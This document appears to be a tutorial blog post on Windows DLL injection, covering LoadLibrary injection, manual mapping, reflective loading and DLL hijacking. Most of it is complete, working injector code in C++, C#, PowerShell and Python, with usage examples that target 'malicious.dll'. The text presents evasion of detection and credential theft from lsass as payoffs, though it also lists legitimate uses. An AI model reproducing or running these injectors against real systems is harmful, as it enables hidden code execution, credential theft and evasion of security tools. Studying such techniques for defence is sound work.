DLL injection techniques visualization showing process memory manipulation and code injection methods

DLL Injection Techniques

Comprehensive guide to DLL injection methods in Windows — from classic LoadLibrary injection to advanced reflective DLL injection and DLL hijacking techniques.

Jan 26, 2026
Updated Dec 11, 2025
2 min read

Introduction

DLL Injection is a sophisticated technique that involves inserting a Dynamic Link Library (DLL) into the address space of a running process, allowing the injected code to execute within the target process's security context. This powerful capability enables attackers to modify program behavior, intercept function calls, harvest credentials, bypass security controls, and evade detection by executing malicious code within legitimate processes.

Dual-Use Technology

DLL injection is a legitimate technique used for hot-patching, debugging, profiling, and extending application functionality. However, the same capabilities make it a cornerstone of modern malware, rootkits, and advanced persistent threats (APTs).

Why DLL Injection Matters

Legitimate Use Cases

Software Development and Maintenance:

  • Hot Patching: Update running applications without restart (e.g., Azure servers)
  • API Hooking: Monitor and modify application behavior for debugging
  • Performance Profiling: Inject instrumentation code for performance analysis
  • Plugin Systems: Extend application functionality dynamically
  • Compatibility Shims: Patch legacy applications for modern OS compatibility

Security and IT Operations:

  • Endpoint Detection and Response (EDR): Monitor process behavior
  • Data Loss Prevention (DLP): Intercept and inspect data transfers
  • Application Virtualization: Redirect file and registry operations
  • Privilege Management: Inject credential prompts and access controls

Malicious Use Cases

Evasion and Stealth:

  • Execute malicious code within trusted processes (e.g., explorer.exe, svchost.exe)
  • Bypass application whitelisting and endpoint protection
  • Hide from process monitoring and task managers
  • Evade signature-based detection

Credential Theft:

  • Hook authentication APIs to capture plaintext passwords
  • Inject into lsass.exe to extract credentials from memory
  • Intercept browser and application authentication

Privilege Escalation:

  • Inject into SYSTEM-level processes
  • Manipulate security tokens within privileged contexts
  • Bypass User Account Control (UAC) through trusted processes

Persistence and Lateral Movement:

  • Maintain persistence by injecting into long-running processes
  • Move laterally by injecting into remote processes via network protocols
  • Establish command and control channels through legitimate processes

DLL Injection Techniques

Classic LoadLibrary Injection

The most common and well-understood DLL injection method leverages the Windows LoadLibrary API to load a DLL into a target process's address space.

How LoadLibrary Injection Works

Open Target Process

Use OpenProcess to obtain a handle with necessary permissions:

HANDLE hProcess = OpenProcess(
    PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE,
    targetProcessID
);

Allocate Memory in Target

Allocate memory in the target process for the DLL path:

LPVOID pRemoteMemory = VirtualAllocEx(
    hProcess,
    NULL,
    strlen(dllPath) + 1,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

Write DLL Path

Write the DLL path string into the allocated memory:

WriteProcessMemory(
    hProcess,
    pRemoteMemory,
    dllPath,
    strlen(dllPath) + 1,
    NULL
);

Get LoadLibrary Address

Retrieve the address of LoadLibraryA from kernel32.dll:

LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
    GetModuleHandle("kernel32.dll"),
    "LoadLibraryA"
);

Create Remote Thread

Execute LoadLibraryA in the target process via a remote thread:

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)pLoadLibrary,
    pRemoteMemory,
    0,
    NULL
);

Complete Implementation

Full C++ LoadLibrary Injector

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

DWORD GetProcessIdByName(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hSnapshot, &pe32)) {
        CloseHandle(hSnapshot);
        return 0;
    }

    DWORD pid = 0;
    do {
        if (_stricmp(pe32.szExeFile, processName) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));

    CloseHandle(hSnapshot);
    return pid;
}

BOOL InjectDLL(DWORD processID, const char* dllPath) {
    printf("[*] Attempting to inject DLL into PID: %d\n", processID);

    // Step 1: Open target process
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE,
        processID
    );

    if (hProcess == NULL) {
        printf("[-] Failed to open target process. Error: %d\n", GetLastError());
        return FALSE;
    }

    printf("[+] Opened target process handle: 0x%p\n", hProcess);

    // Step 2: Allocate memory in target process
    SIZE_T dllPathLen = strlen(dllPath) + 1;
    LPVOID pRemoteMemory = VirtualAllocEx(
        hProcess,
        NULL,
        dllPathLen,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (pRemoteMemory == NULL) {
        printf("[-] Failed to allocate memory in target process. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] Allocated memory at: 0x%p\n", pRemoteMemory);

    // Step 3: Write DLL path to allocated memory
    if (!WriteProcessMemory(hProcess, pRemoteMemory, dllPath, dllPathLen, NULL)) {
        printf("[-] Failed to write DLL path to target process. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] Wrote DLL path to target process memory\n");

    // Step 4: Get LoadLibraryA address
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    if (hKernel32 == NULL) {
        printf("[-] Failed to get kernel32.dll handle\n");
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    LPVOID pLoadLibrary = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
    if (pLoadLibrary == NULL) {
        printf("[-] Failed to get LoadLibraryA address. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] LoadLibraryA address: 0x%p\n", pLoadLibrary);

    // Step 5: Create remote thread
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pLoadLibrary,
        pRemoteMemory,
        0,
        NULL
    );

    if (hThread == NULL) {
        printf("[-] Failed to create remote thread. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] Created remote thread. TID: %d\n", GetThreadId(hThread));

    // Wait for thread to complete
    WaitForSingleObject(hThread, INFINITE);

    // Get thread exit code (HMODULE of loaded DLL)
    DWORD exitCode;
    GetExitCodeThread(hThread, &exitCode);

    if (exitCode == 0) {
        printf("[-] DLL injection failed. LoadLibrary returned NULL\n");
    } else {
        printf("[+] DLL successfully injected! Module base: 0x%X\n", exitCode);
    }

    // Cleanup
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return (exitCode != 0);
}

int main(int argc, char* argv[]) {
    if (argc != 3) {
        printf("Usage: %s <process_name> <dll_path>\n", argv[0]);
        printf("Example: %s notepad.exe C:\\\\malicious.dll\n", argv[0]);
        return 1;
    }

    const char* processName = argv[1];
    const char* dllPath = argv[2];

    // Check if DLL exists
    if (GetFileAttributes(dllPath) == INVALID_FILE_ATTRIBUTES) {
        printf("[-] DLL not found: %s\n", dllPath);
        return 1;
    }

    // Get target process ID
    DWORD pid = GetProcessIdByName(processName);
    if (pid == 0) {
        printf("[-] Process not found: %s\n", processName);
        return 1;
    }

    printf("[*] Target Process: %s (PID: %d)\n", processName, pid);
    printf("[*] DLL Path: %s\n", dllPath);

    if (InjectDLL(pid, dllPath)) {
        printf("[+] Injection completed successfully!\n");
        return 0;
    } else {
        printf("[-] Injection failed\n");
        return 1;
    }
}

C# LoadLibrary Injector

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

namespace DLLInjector
{
    class Program
    {
        // P/Invoke declarations
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
            uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
            out IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool CloseHandle(IntPtr hObject);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint dwFreeType);

        // Constants
        const uint PROCESS_CREATE_THREAD = 0x0002;
        const uint PROCESS_QUERY_INFORMATION = 0x0400;
        const uint PROCESS_VM_OPERATION = 0x0008;
        const uint PROCESS_VM_WRITE = 0x0020;
        const uint PROCESS_VM_READ = 0x0010;

        const uint MEM_COMMIT = 0x1000;
        const uint MEM_RESERVE = 0x2000;
        const uint PAGE_READWRITE = 0x04;
        const uint MEM_RELEASE = 0x8000;

        static bool InjectDLL(int processId, string dllPath)
        {
            Console.WriteLine($"[*] Attempting to inject DLL into PID: {processId}");

            // Open target process
            IntPtr hProcess = OpenProcess(
                PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
                PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
                false,
                processId
            );

            if (hProcess == IntPtr.Zero)
            {
                Console.WriteLine($"[-] Failed to open target process. Error: {Marshal.GetLastWin32Error()}");
                return false;
            }

            Console.WriteLine($"[+] Opened target process handle: 0x{hProcess.ToInt64():X}");

            try
            {
                // Allocate memory in target process
                byte[] dllBytes = Encoding.ASCII.GetBytes(dllPath + "\0");
                IntPtr pRemoteMemory = VirtualAllocEx(
                    hProcess,
                    IntPtr.Zero,
                    (uint)dllBytes.Length,
                    MEM_COMMIT | MEM_RESERVE,
                    PAGE_READWRITE
                );

                if (pRemoteMemory == IntPtr.Zero)
                {
                    Console.WriteLine($"[-] Failed to allocate memory. Error: {Marshal.GetLastWin32Error()}");
                    return false;
                }

                Console.WriteLine($"[+] Allocated memory at: 0x{pRemoteMemory.ToInt64():X}");

                // Write DLL path to allocated memory
                if (!WriteProcessMemory(hProcess, pRemoteMemory, dllBytes, (uint)dllBytes.Length, out _))
                {
                    Console.WriteLine($"[-] Failed to write DLL path. Error: {Marshal.GetLastWin32Error()}");
                    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
                    return false;
                }

                Console.WriteLine("[+] Wrote DLL path to target process memory");

                // Get LoadLibraryA address
                IntPtr hKernel32 = GetModuleHandle("kernel32.dll");
                IntPtr pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");

                if (pLoadLibrary == IntPtr.Zero)
                {
                    Console.WriteLine($"[-] Failed to get LoadLibraryA address");
                    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
                    return false;
                }

                Console.WriteLine($"[+] LoadLibraryA address: 0x{pLoadLibrary.ToInt64():X}");

                // Create remote thread
                IntPtr hThread = CreateRemoteThread(
                    hProcess,
                    IntPtr.Zero,
                    0,
                    pLoadLibrary,
                    pRemoteMemory,
                    0,
                    out _
                );

                if (hThread == IntPtr.Zero)
                {
                    Console.WriteLine($"[-] Failed to create remote thread. Error: {Marshal.GetLastWin32Error()}");
                    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
                    return false;
                }

                Console.WriteLine("[+] Created remote thread successfully");

                // Wait for thread to complete
                WaitForSingleObject(hThread, 0xFFFFFFFF);  // INFINITE

                Console.WriteLine("[+] DLL injection completed!");

                // Cleanup
                CloseHandle(hThread);
                VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);

                return true;
            }
            finally
            {
                CloseHandle(hProcess);
            }
        }

        static void Main(string[] args)
        {
            if (args.Length != 2)
            {
                Console.WriteLine("Usage: DLLInjector.exe <process_name> <dll_path>");
                Console.WriteLine("Example: DLLInjector.exe notepad.exe C:\\malicious.dll");
                return;
            }

            string processName = args[0];
            string dllPath = args[1];

            // Find process by name
            Process[] processes = Process.GetProcessesByName(processName.Replace(".exe", ""));
            if (processes.Length == 0)
            {
                Console.WriteLine($"[-] Process not found: {processName}");
                return;
            }

            int pid = processes[0].Id;
            Console.WriteLine($"[*] Target Process: {processName} (PID: {pid})");
            Console.WriteLine($"[*] DLL Path: {dllPath}");

            if (InjectDLL(pid, dllPath))
            {
                Console.WriteLine("[+] Injection completed successfully!");
            }
            else
            {
                Console.WriteLine("[-] Injection failed");
            }
        }
    }
}

PowerShell DLL Injector

function Invoke-DLLInjection {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$ProcessName,

        [Parameter(Mandatory=$true)]
        [string]$DLLPath
    )

    # P/Invoke definitions
    $Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
        uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
        out IntPtr lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CloseHandle(IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@

    Add-Type -TypeDefinition $Kernel32

    # Constants
    $PROCESS_ALL_ACCESS = 0x1F0FFF
    $MEM_COMMIT = 0x1000
    $MEM_RESERVE = 0x2000
    $PAGE_READWRITE = 0x04

    Write-Host "[*] Starting DLL Injection" -ForegroundColor Cyan

    # Get target process
    $process = Get-Process -Name $ProcessName -ErrorAction SilentlyContinue
    if (-not $process) {
        Write-Error "Process not found: $ProcessName"
        return
    }

    $processId = $process.Id
    Write-Host "[*] Target Process: $ProcessName (PID: $processId)" -ForegroundColor Cyan

    # Verify DLL exists
    if (-not (Test-Path $DLLPath)) {
        Write-Error "DLL not found: $DLLPath"
        return
    }

    Write-Host "[*] DLL Path: $DLLPath" -ForegroundColor Cyan

    # Open process
    $hProcess = [Kernel32]::OpenProcess($PROCESS_ALL_ACCESS, $false, $processId)
    if ($hProcess -eq [IntPtr]::Zero) {
        Write-Error "Failed to open process"
        return
    }

    Write-Host "[+] Opened process handle: 0x$($hProcess.ToString('X'))" -ForegroundColor Green

    try {
        # Allocate memory
        $dllBytes = [System.Text.Encoding]::ASCII.GetBytes($DLLPath + "`0")
        $pRemoteMemory = [Kernel32]::VirtualAllocEx(
            $hProcess,
            [IntPtr]::Zero,
            $dllBytes.Length,
            ($MEM_COMMIT -bor $MEM_RESERVE),
            $PAGE_READWRITE
        )

        if ($pRemoteMemory -eq [IntPtr]::Zero) {
            Write-Error "Failed to allocate memory"
            return
        }

        Write-Host "[+] Allocated memory at: 0x$($pRemoteMemory.ToString('X'))" -ForegroundColor Green

        # Write DLL path
        $bytesWritten = [IntPtr]::Zero
        $result = [Kernel32]::WriteProcessMemory(
            $hProcess,
            $pRemoteMemory,
            $dllBytes,
            $dllBytes.Length,
            [ref]$bytesWritten
        )

        if (-not $result) {
            Write-Error "Failed to write DLL path"
            return
        }

        Write-Host "[+] Wrote DLL path to target process" -ForegroundColor Green

        # Get LoadLibraryA address
        $hKernel32 = [Kernel32]::GetModuleHandle("kernel32.dll")
        $pLoadLibrary = [Kernel32]::GetProcAddress($hKernel32, "LoadLibraryA")

        Write-Host "[+] LoadLibraryA address: 0x$($pLoadLibrary.ToString('X'))" -ForegroundColor Green

        # Create remote thread
        $threadId = [IntPtr]::Zero
        $hThread = [Kernel32]::CreateRemoteThread(
            $hProcess,
            [IntPtr]::Zero,
            0,
            $pLoadLibrary,
            $pRemoteMemory,
            0,
            [ref]$threadId
        )

        if ($hThread -eq [IntPtr]::Zero) {
            Write-Error "Failed to create remote thread"
            return
        }

        Write-Host "[+] Created remote thread" -ForegroundColor Green

        # Wait for completion
        [Kernel32]::WaitForSingleObject($hThread, 0xFFFFFFFF) | Out-Null

        Write-Host "[+] DLL injection completed successfully!" -ForegroundColor Green

        # Cleanup
        [Kernel32]::CloseHandle($hThread) | Out-Null

    } finally {
        [Kernel32]::CloseHandle($hProcess) | Out-Null
    }
}

# Example usage
# Invoke-DLLInjection -ProcessName "notepad" -DLLPath "C:\malicious.dll"

Python DLL Injector (using ctypes)

import sys
import ctypes
from ctypes import wintypes

# Windows API constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x04

# Load Windows DLLs
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)

# Function prototypes
OpenProcess = kernel32.OpenProcess
OpenProcess.restype = wintypes.HANDLE
OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]

VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.restype = wintypes.LPVOID
VirtualAllocEx.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t,
                            wintypes.DWORD, wintypes.DWORD]

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.restype = wintypes.BOOL
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID,
                                ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]

GetModuleHandle = kernel32.GetModuleHandleW
GetModuleHandle.restype = wintypes.HMODULE
GetModuleHandle.argtypes = [wintypes.LPCWSTR]

GetProcAddress = kernel32.GetProcAddress
GetProcAddress.restype = wintypes.LPVOID
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]

CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.restype = wintypes.HANDLE
CreateRemoteThread.argtypes = [wintypes.HANDLE, wintypes.LPVOID, ctypes.c_size_t,
                                wintypes.LPVOID, wintypes.LPVOID, wintypes.DWORD,
                                wintypes.LPDWORD]

WaitForSingleObject = kernel32.WaitForSingleObject
WaitForSingleObject.restype = wintypes.DWORD
WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

CloseHandle = kernel32.CloseHandle
CloseHandle.restype = wintypes.BOOL
CloseHandle.argtypes = [wintypes.HANDLE]

def inject_dll(process_id, dll_path):
    """
    Inject DLL into target process using LoadLibrary technique
    """
    print(f"[*] Attempting to inject DLL into PID: {process_id}")

    # Open target process
    h_process = OpenProcess(PROCESS_ALL_ACCESS, False, process_id)
    if not h_process:
        print(f"[-] Failed to open process. Error: {ctypes.get_last_error()}")
        return False

    print(f"[+] Opened process handle: 0x{h_process:X}")

    try:
        # Allocate memory in target process
        dll_path_bytes = dll_path.encode('ascii') + b'\x00'
        dll_path_len = len(dll_path_bytes)

        p_remote_memory = VirtualAllocEx(
            h_process,
            None,
            dll_path_len,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        )

        if not p_remote_memory:
            print(f"[-] Failed to allocate memory. Error: {ctypes.get_last_error()}")
            return False

        print(f"[+] Allocated memory at: 0x{p_remote_memory:X}")

        # Write DLL path to allocated memory
        bytes_written = ctypes.c_size_t(0)
        result = WriteProcessMemory(
            h_process,
            p_remote_memory,
            dll_path_bytes,
            dll_path_len,
            ctypes.byref(bytes_written)
        )

        if not result:
            print(f"[-] Failed to write DLL path. Error: {ctypes.get_last_error()}")
            return False

        print(f"[+] Wrote {bytes_written.value} bytes to target process")

        # Get LoadLibraryA address
        h_kernel32 = GetModuleHandle("kernel32.dll")
        p_load_library = GetProcAddress(h_kernel32, b"LoadLibraryA")

        if not p_load_library:
            print(f"[-] Failed to get LoadLibraryA address")
            return False

        print(f"[+] LoadLibraryA address: 0x{p_load_library:X}")

        # Create remote thread
        thread_id = wintypes.DWORD(0)
        h_thread = CreateRemoteThread(
            h_process,
            None,
            0,
            p_load_library,
            p_remote_memory,
            0,
            ctypes.byref(thread_id)
        )

        if not h_thread:
            print(f"[-] Failed to create remote thread. Error: {ctypes.get_last_error()}")
            return False

        print(f"[+] Created remote thread with TID: {thread_id.value}")

        # Wait for thread to complete
        WaitForSingleObject(h_thread, 0xFFFFFFFF)  # INFINITE

        print("[+] DLL injection completed successfully!")

        # Cleanup
        CloseHandle(h_thread)

        return True

    finally:
        CloseHandle(h_process)

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <process_id> <dll_path>")
        print(f"Example: {sys.argv[0]} 1234 C:\\malicious.dll")
        return 1

    try:
        process_id = int(sys.argv[1])
    except ValueError:
        print("[-] Invalid process ID")
        return 1

    dll_path = sys.argv[2]

    print(f"[*] Target PID: {process_id}")
    print(f"[*] DLL Path: {dll_path}")

    if inject_dll(process_id, dll_path):
        print("[+] Injection successful!")
        return 0
    else:
        print("[-] Injection failed")
        return 1

if __name__ == "__main__":
    sys.exit(main())

Creating an Injected DLL

The DLL being injected must have a proper entry point (DllMain) that executes when loaded:

#include <windows.h>
#include <stdio.h>

// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Code executed when DLL is loaded
        MessageBoxA(NULL, "DLL Injected Successfully!", "Injection", MB_OK);

        // Create a file to prove execution
        FILE* fp = fopen("C:\\Temp\\injected.txt", "w");
        if (fp) {
            fprintf(fp, "DLL injected at: %s\n", __TIMESTAMP__);
            fclose(fp);
        }

        // Launch calculator as proof of execution
        WinExec("calc.exe", SW_SHOW);
        break;

    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

DllMain Restrictions

DllMain has strict limitations on what can be executed safely:

  • Avoid calling LoadLibrary/LoadLibraryEx
  • Avoid creating threads
  • Keep code minimal and fast
  • For complex operations, create a separate thread from DllMain

Manual Mapping

Manual Mapping is an advanced DLL injection technique that manually loads a DLL into a process's memory without using Windows loader functions like LoadLibrary. This approach bypasses many detection mechanisms that monitor LoadLibrary calls.

Why Manual Mapping?

Advantages:

  • Stealth: Doesn't appear in module lists (PEB)
  • Evasion: Bypasses API hooks on LoadLibrary
  • Control: Full control over loading process
  • Flexibility: Can load DLLs from memory without touching disk

Disadvantages:

  • Complexity: Must manually handle imports, relocations, and TLS
  • Stability: Higher risk of crashes if not implemented correctly
  • Size: Injector code is significantly larger

Manual Mapping Process

Read DLL from Disk

Load the DLL file into memory:

HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, fileBuffer, fileSize, NULL, NULL);
CloseHandle(hFile);

Parse PE Headers

Extract necessary information from PE structure:

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)fileBuffer + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeaders->OptionalHeader;

Allocate Memory in Target

LPVOID pTargetBase = VirtualAllocEx(
    hProcess,
    NULL,
    pOptionalHeader->SizeOfImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

Write Headers

WriteProcessMemory(hProcess, pTargetBase, fileBuffer, pOptionalHeader->SizeOfHeaders, NULL);

Write Sections

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);

for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
    WriteProcessMemory(
        hProcess,
        (LPVOID)((LPBYTE)pTargetBase + pSectionHeader[i].VirtualAddress),
        (LPVOID)((LPBYTE)fileBuffer + pSectionHeader[i].PointerToRawData),
        pSectionHeader[i].SizeOfRawData,
        NULL
    );
}

Resolve Imports

Write shellcode to target process that resolves import table

Perform Relocations

Apply base relocations if DLL loaded at different address than preferred

Execute TLS Callbacks

Call Thread Local Storage callbacks if present

Call Entry Point

Execute DllMain (or custom entry point)

Complexity Trade-off

Manual Mapping requires handling PE structures, import resolution, and relocations manually. While complex, it offers superior evasion capabilities against detection systems.

Reflective DLL Injection

Reflective DLL Injection is a sophisticated technique where the DLL contains its own custom loader code. The DLL is self-sufficient and can load itself into a process from memory without requiring an external loader.

Key Characteristics

Self-Loading:

  • DLL contains ReflectiveLoader function
  • Loader parses its own headers
  • Resolves its own imports
  • Applies its own relocations

Memory-Only:

  • DLL never touches disk
  • Loaded entirely from memory
  • Bypasses file-based detection

Minimal Footprint:

  • Small bootstrap shellcode
  • Single CreateRemoteThread call
  • No suspicious API sequences

Stephen Fewer's Implementation

The canonical implementation by Stephen Fewer (GitHub):

ReflectiveLoader Function:

DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) {
    // 1. Find our own image base in memory
    ULONG_PTR uiLibraryAddress = caller();

    // 2. Parse our own PE headers
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pDosHeader->e_lfanew);

    // 3. Find kernel32.dll export table to resolve API addresses
    HMODULE hKernel32 = GetKernel32();
    FARPROC pLoadLibraryA = GetProcAddressR(hKernel32, "LoadLibraryA");
    FARPROC pGetProcAddress = GetProcAddressR(hKernel32, "GetProcAddress");
    FARPROC pVirtualAlloc = GetProcAddressR(hKernel32, "VirtualAlloc");

    // 4. Allocate memory for our image
    LPVOID pImageBase = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage,
                                      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 5. Copy sections to new location
    CopySections(uiLibraryAddress, pImageBase, pNtHeaders);

    // 6. Process import table
    ProcessImports(pImageBase, pNtHeaders, pLoadLibraryA, pGetProcAddress);

    // 7. Process relocations
    ProcessRelocations(pImageBase, pNtHeaders);

    // 8. Call DllMain
    DllMain(pImageBase, DLL_PROCESS_ATTACH, NULL);

    // 9. Return the new base address
    return (ULONG_PTR)pImageBase;
}

Injection Process:

// Read reflective DLL into memory
LPVOID dllBuffer = ReadDLLIntoMemory("reflective.dll");

// Find ReflectiveLoader export
DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuffer);

// Allocate memory in target and write DLL
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, dllBuffer, dllSize, NULL);

// Calculate remote ReflectiveLoader address
LPVOID remoteLoader = (LPVOID)((DWORD_PTR)remoteBuffer + loaderOffset);

// Execute ReflectiveLoader via remote thread
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteLoader, NULL, 0, NULL);

Evasion Power

Reflective DLL Injection is highly effective at evading detection because:

  • No LoadLibrary calls
  • No on-disk artifacts
  • Minimal suspicious API usage
  • Self-contained loading process

DLL Hijacking

DLL Hijacking exploits the Windows DLL search order to load malicious DLLs instead of legitimate ones. When an application doesn't specify the full path to a DLL, Windows searches multiple directories in a specific order.

DLL Search Order

With Safe DLL Search Mode enabled (default):

  1. The directory from which the application is loaded
  2. The system directory (C:\Windows\System32)
  3. The 16-bit system directory (C:\Windows\System)
  4. The Windows directory (C:\Windows)
  5. The current directory
  6. Directories listed in PATH environment variable

With Safe DLL Search Mode disabled:

  1. The directory from which the application is loaded
  2. The current directory (moved up!)
  3. The system directory
  4. The 16-bit system directory
  5. The Windows directory
  6. Directories listed in PATH

Finding Vulnerable DLLs

Using Sysinternals Process Monitor

Download and Launch ProcMon

Download from Microsoft Sysinternals

Configure Filters

Set filters to show only relevant events:

  • Process Name: Set to target executable (e.g., application.exe)
  • Operation: isLoad Image
  • Result: isNAME NOT FOUND
  • Path: ends with.dll

Launch Target Application

Run the application you're analyzing

Review Results

Look for DLL load attempts that failed with "NAME NOT FOUND"

